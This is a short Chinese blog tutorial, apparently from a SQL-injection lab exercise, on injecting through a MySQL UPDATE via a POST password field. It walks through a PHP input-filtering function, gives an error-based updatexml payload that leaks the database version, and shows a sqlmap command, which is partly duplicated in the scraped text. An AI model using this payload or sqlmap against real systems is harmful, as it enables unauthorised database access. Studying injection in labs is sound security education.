POST Update 注入

POST Update 注入

1.Mysql update介绍

2.过滤内容介绍

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,20);//获得下标从0到20的字符串
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())//判断是否存在反斜杠
			{
			$value = stripslashes($value);//去除字符串中的反斜杠
			}

		// Quote if not a number
		if (!ctype_digit($value))//检验$value是否是纯数字
			{
			$value = "'" . mysql_real_escape_string($value) . "'";//函数转义SQL语句中使用的字符串中的特殊字符(\x00,\n,\r,\,',",\x1a)
			}
		
	else
		{
		$value = intval($value);//获取变量的整数值
		}
	return $value;
	}

3.Mysql update注入

uname=admin&passwd=admin' or updatexml(1,concat(0x7e,version(),0x7e),1)#&submit=Submit

```
#是单行注释
```


在这里插入图片描述

4.Sqlmap安全测试

利用sqlmap读取target.txt中的内容并指定passwd参数进行SQL注入漏洞的利用

sqlmap - r target.txt -p passwd

asswd参数进行SQL注入漏洞的利用

sqlmap - r target.txt -p passwd

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值